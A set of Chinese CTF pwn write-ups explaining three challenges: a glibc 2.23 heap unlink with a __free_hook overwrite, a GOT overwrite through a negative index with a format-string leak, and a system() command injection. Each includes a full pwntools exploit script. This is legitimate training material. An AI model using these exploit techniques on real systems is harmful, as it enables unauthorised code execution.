create:堆大小可以任意分配只要不超过0xFFF
unsigned __int64 create() { int i; // [rsp+0h] [rbp-20h] unsigned int size; // [rsp+4h] [rbp-1Ch] void *size_4; // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); for ( i = 0; *(&chunk_ptr + i); ++i ) ; puts("The length of your content --->"); read(0, buf, 4uLL); size = atoi(buf); if ( size > 0xFFF ) { puts("Are you kidding me?"); exit(0); } size_4 = malloc(size); if ( !size_4 ) { puts("Here something goes wrong!"); exit(0); } puts("Content --->"); read(0, size_4, size); *(&chunk_ptr + i) = size_4; return __readfsqword(0x28u) ^ v5; }
delete:释放之后没做任何处理,存在UAF和Double Free。
unsigned __int64 delete() { unsigned int v1; // [rsp+Ch] [rbp-14h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Index --->"); read(0, buf, 4uLL); v1 = atoi(buf); if ( !*(&chunk_ptr + v1) ) { puts("Are you kididng me?"); exit(0); } free(*(&chunk_ptr + v1)); puts("done"); return __readfsqword(0x28u) ^ v3; }
edit:没有对索引进行处理,只要索引处是一个可写的地址就行,而且写入大小也是自己控制,可以伪造堆。
unsigned __int64 edit() { unsigned int v1; // [rsp+8h] [rbp-18h] unsigned int nbytes; // [rsp+Ch] [rbp-14h] char nbytes_4; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("Index --->"); read(0, &nbytes_4, 4uLL); v1 = atoi(&nbytes_4); if ( !*(&chunk_ptr + v1) ) { puts("Are you kididng me?"); exit(0); } puts("The length of your content --->"); read(0, &nbytes_4, 4uLL); nbytes = atoi(&nbytes_4); puts("Content --->"); read(0, *(&chunk_ptr + v1), nbytes); puts("done"); return __readfsqword(0x28u) ^ v4; } unsigned __int64 show() { unsigned int v1; // [rsp+Ch] [rbp-14h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Index --->"); read(0, buf, 4uLL); v1 = atoi(buf); if ( !*(&chunk_ptr + v1) ) { puts("Are you kididng me?"); exit(0); } printf("Content: %s\n", (const char *)*(&chunk_ptr + v1)); puts("done"); return __readfsqword(0x28u) ^ v3; }
解题思路:
1、创建三个堆块,第一个堆块大小要可以装下一个伪造的堆(不属于fastbin),后两个不属于fastbin就可以。编号:chunk0、chunk1、chunk2。
2、释放chunk0,利用show打印chunk0,获得main_arena+0x58的地址,main_arena的地址在malloc_trim函数里面。计算出libc的基址。
3、重新申请chunk0,写入伪造的堆块,将chunk1的 PREV_INUSE 置为0,释放chunk1,利用unlink修改指向chunk0的地址为伪造的堆块的fd。
4、往chunk_ptr里面写入__free_hook的地址,修改__free_hook为system,释放chunk3(chunk3内容为/bin/sh),获得shell。
需要注意的地方:
main_arena的地址查找
gdb-peda$ heap Free chunk (unsortedbin) | PREV_INUSE Addr: 0x1209000 Size: 0xa1 fd: 0x7f658cb98b78 bk: 0x7f658cb98b78 Allocated chunk Addr: 0x12090a0 Size: 0x90 Allocated chunk | PREV_INUSE Addr: 0x1209130 Size: 0xb1 Top chunk | PREV_INUSE Addr: 0x12091e0 Size: 0x20e21 gdb-peda$ x 0x7f658cb98b78 0x7f658cb98b78 <main_arena+88>: 0x00000000012091e0
// 源码 int __malloc_trim(size_t s) { int result = 0; if (__malloc_initialized < 0) ptmalloc_init(); mstate ar_ptr = &main_arena; // IDA __int64 __fastcall malloc_trim(__int64 a1) { if ( dword_3C4144 < 0 ) sub_854D0(); v21 = 0; v18 = &dword_3C4B20;
在libc-2.23,main_arena在__malloc_hook + 0x10处
.data:00000000003C4B10 public __malloc_hook ; weak .data:00000000003C4B10 A0 58 08 00 00 00 00 00 __malloc_hook dq offset sub_858A0 ; DATA XREF: LOAD:000000000000A380↑o .data:00000000003C4B10 ; .got:__malloc_hook_ptr↑o .data:00000000003C4B18 00 00 00 00 00 00 00 00 align 20h .data:00000000003C4B20 00 00 00 00 dword_3C4B20 dd 0
伪造的堆块需要满足的条件
伪chunk->fd->bk == P && 伪chunk->bk->fd == P(在C语言里面->表示左边的结构体变量的地址+右边成员在左边结构体的偏移量),说最简单些就是伪chunk的fd处的地址指向存在这个伪chunk的地址的地址减去bk(32位为0xC,64位为0x18),还是看图理解吧。
当释放chunk1时因为prev_inuse为0,会向上合并执行unlink,就会将0x0100处的值修改为fd(0x00E8)。这里如果想深入了解可以去阅读libc源码。
from pwn import * debug = 0 local = 0 host = "node4.buuoj.cn" port = 27934 filename = "./pwn" def malloc(size, data): p.sendafter(b'5. exit\n', b'1') p.sendafter(b'The length of your content --->\n', f'{size}'.encode()) p.sendafter(b'Content --->\n', data) def edit(index, size, data): p.sendafter(b'5. exit\n', b'2') p.sendafter(b'Index --->\n', f'{index}'.encode()) p.sendafter(b'The length of your content --->\n', f'{size}'.encode()) p.sendafter(b'Content --->\n', data) def free(index): p.sendafter(b'5. exit\n', b'3') p.sendafter(b'Index --->\n', f'{index}'.encode()) def show(index): p.sendafter(b'5. exit\n', b'4') p.sendafter(b'Index --->\n', f'{index}'.encode()) p = process(filename) if not debug and local else gdb.debug(filename, "b main\nb *0x400C69") if debug else remote(host, port) elf = ELF(filename) libc = ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so") if local else ELF('./libc-2.23.so') chunk = 0x6020C0 malloc(0x98, b'A' * 0x8) malloc(0x88, b'A' * 0x8) malloc(0xA8, b'/bin/sh\x00') free(0) show(0) p.recvuntil(b'Content: ') main_arena_va = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00')) - 0x58 libcbase = main_arena_va - libc.sym['__malloc_hook'] - 0x10 system = libcbase + libc.sym['system'] free_hook = libcbase + libc.sym['__free_hook'] print(f'main_arena_va => {hex(main_arena_va)}') print(f'libcbase => {hex(libcbase)}') malloc(0x98, b'A' * 0x8) # free(): corrupted unsorted chunks payload = p64(0) + p64(0x91) + p64(chunk - 0x18) + p64(chunk - 0x10) payload = payload.ljust(0x90, b'\x00') payload += p64(0x90) + p64(0x90) edit(0, len(payload), payload) free(1) payload = p64(0) * 3 + p64(free_hook) edit(0, 0x20, payload) edit(0, 0x8, p64(system)) free(2) p.interactive()
buy_canary:在写入canarys时,索引可以为负数,因为got表在canarys上面可以改写got表,但是要先改一下money(同样也在canarys上面)的值。
unsigned __int64 buy_canary() { int v1; // [rsp+0h] [rbp-10h] BYREF char v2[2]; // [rsp+6h] [rbp-Ah] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); puts(&s); printf("You just have %d dollors\n", (unsigned int)money); puts("(T)hree dollors a Krola"); puts("(t)wo dollors a Slania"); puts("(f)our dollors a Koparia"); printf("Which one you want to bye: "); getstring(v2, 2LL); if ( v2[0] == 84 && (unsigned int)money > 2 ) { money -= 3; } else if ( v2[0] == 116 && (unsigned int)money > 1 ) { money -= 2; } else { if ( v2[0] != 102 || (unsigned int)money <= 3 ) { puts("You wanna fool me???"); exit(0); } money -= 4; } puts("Which pocket would you like to put the candy in?"); printf(": "); __isoc99_scanf("%d", &v1); if ( v1 > 2 ) exit(0); puts("Give your candy a name!"); printf(": "); getstring((char *)&canarys + 19 * v1, 19LL); puts("Done!!!"); return v3 - __readfsqword(0x28u); }
gift:存在格式化字符串漏洞,动态调试可以发现在调用printf时,RCX为write + 23,进而泄露libc地址。
if ( v3 ) { puts("Give me your name: "); getstring(format, 8LL); printf("booooo!!!!\nyou have received a gift:"); printf(format); puts(&s); --v3; }
解题思路:
利用buy_canary写入got表,修改memset为system,获得shell。
from pwn import * debug = 0 local = 0 host = "139.155.132.59" port = 9999 filename = "./pwn" def buy(index, data): p.sendlineafter(b'option: ', b'b') p.sendlineafter(b'Which one you want to bye: ', b't') p.sendlineafter(b': ', f'{index}'.encode()) p.sendlineafter(b': ', data) p = process(filename) if not debug and local else gdb.debug(filename, "b main\n b _buy_canary") if debug else remote(host, port) elf = ELF(filename) libc = ELF("./libc.so.6") p.sendlineafter(b'option: ', b'g') p.sendlineafter(b'Give me your name: \n', b'%3$p') p.recvuntil(b'0x') write = int(p.recvuntil(b'\n').strip().decode(), 16) - 23 libcbase = write - libc.sym['write'] printf = libcbase + libc.sym['printf'] system = libcbase + libc.sym['system'] print(f'write => {hex(write)}') print(f'libcbase => {hex(libcbase)}') print(f'printf => {hex(printf)}') print(f'system => {hex(system)}') p.sendlineafter(b'option: ', b'e') # 执行一次memset将memset地址绑定的got表,因为后面要利用memeset获得shell buy(-2, b'\xFF' * 11) buy(0, b'/bin/sh\x00') payload = b'A' * 6 + p64(printf) + p64(system)[:-3] # 这里不使用上面定义的buy是因为,需要把payload写入程序,长度正好是19如果多输入一个\n就会执行gift,还要输入其他内容。 index = -10 p.sendlineafter(b'option: ', b'b') p.sendlineafter(b'Which one you want to bye: ', b't') p.sendlineafter(b': ', f'{index}'.encode()) p.sendafter(b': ', payload) p.sendlineafter(b'option: ', b'e') p.interactive()
观察第一个函数里面的s和读入s字符串的长度,观察第二个函数的v1
unsigned __int64 sub_141A() { char s[32]; // [rsp+0h] [rbp-60h] BYREF char name[56]; // [rsp+20h] [rbp-40h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Hello, CTFer."); puts("Please input the key of admin : "); fgets(s, 28, stdin); snprintf(name, 0x20uLL, "/keys/%s.key", s); if ( access(name, 0) == -1 ) { puts("Sorry, you are not winmt."); } else { puts("Hello, winmt."); dword_404C = 1; } return __readfsqword(0x28u) ^ v3; } unsigned __int64 sub_16B5() { char v1[16]; // [rsp+10h] [rbp-50h] BYREF char s[56]; // [rsp+20h] [rbp-40h] BYREF unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Hello, winmt."); puts("Please input the username to add : "); if ( (unsigned int)sub_14DA(v1) == -1 ) { puts("Woc! You're a hacker!"); dword_404C = 0; exit(-1); } snprintf(s, 0x30uLL, "add_user -u '%s' -p '888888'", v1); system(s); puts("Success!"); return __readfsqword(0x28u) ^ v3; }
动态调试容易发现漏洞
snprintf只会保留指定长度的字符,输入长一些的字符串绕过access。
► 0x5633e609b495 call access@plt <access@plt> name: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh' type: 0x0
登录成功之后发现,两个函数的栈空间里面的变量有重叠的地方,在登录的时候构造合适的字符串,基本不过管第二个函数的过滤。
► 0x5633e609b73c call snprintf@plt <snprintf@plt> s: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh' maxlen: 0x30 format: 0x5633e609c102 ◂— "add_user -u '%s' -p '888888'" vararg: 0x7ffe2d1f5b50 ◂— "'\n/bin/sh\n" ► 0x5633e609b748 call system@plt <system@plt> command: 0x7ffe2d1f5b60 ◂— "add_user -u ''\n/bin/sh\n' -p '888888'"
from pwn import * debug = 0 local = 0 host = "node4.buuoj.cn" port = 26010 filename = "./pwn_7" p = process(filename) if not debug and local else gdb.debug(filename, "b alarm\nc\nd\nfinis") if debug else remote(host, port) elf = ELF(filename) p.sendlineafter(b'Your choice >> ', b'1') p.sendlineafter(b'Please input the key of admin : \n', b'../////////////////bin/sh') p.sendlineafter(b'Your choice >> ', b'2') p.sendlineafter(b'Please input the username to add : \n', b"'") p.sendline(b'cat flag') p.interactive()